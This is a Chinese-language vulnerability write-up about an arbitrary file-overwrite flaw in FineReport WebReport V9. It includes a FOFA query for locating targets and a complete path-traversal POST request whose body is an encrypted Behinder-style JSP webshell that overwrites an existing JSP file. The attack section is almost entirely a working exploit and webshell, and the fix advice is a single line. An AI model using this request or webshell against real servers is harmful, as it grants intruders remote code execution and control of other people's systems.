0x00 漏洞简介

该漏洞是在近期HVV中被披露的,由于在初始化svg文件时,未对传入的参数做限制,导致可以对已存在的文件覆盖写入数据,从而通过将木马写入jsp文件中获取服务器权限。此漏洞是任意文件覆盖,上传JSP马,需要找已存在的 jsp 文件进行覆盖Tomcat 启动帆软后默认存在的JSP文件

0x01 影响范围

WebReport V9
版本:/tomcat-7.0.96/webapps/ROOT/index.jsp

0x02 fofa语法

app=”帆软-FineReport”

0x03 应用截图

image.png

0x04 漏洞详情

覆盖 Tomcat 自带 ROOT 目录下的 index.jsp:

  1. POST /WebReport/ReportServer?
  2. op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1
  3. Host: 192.168.169.138:8080
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)
  5. Chrome/81.0.4044.92 Safari/537.36
  6. Connection: close
  7. Accept-Au: 0c42b2f264071be0507acea1876c74
  8. Content-Type: text/xml;charset=UTF-8
  9. Content-Length: 675
  10. {"__CONTENT__":"<%@pageimport=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!classU extends
  11. ClassLoader{U(ClassLoader c){super(c);}public Classg(byte []b){return
  12. super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null){String
  13. k=(\"\"+UUID.randomUUID()).replace(\"-
  14. \",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher
  15. c=Cipher.getInstance(\"AES\");c.init(2,new
  16. SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new
  17. U(this.getClass().getClassLoader()).g(c.doFinal(new
  18. sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta
  19. nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}

0x05 修复建议

排查是否使用帆软系统,并同步在AF自定义禁止访问webroot/ReportServer路径。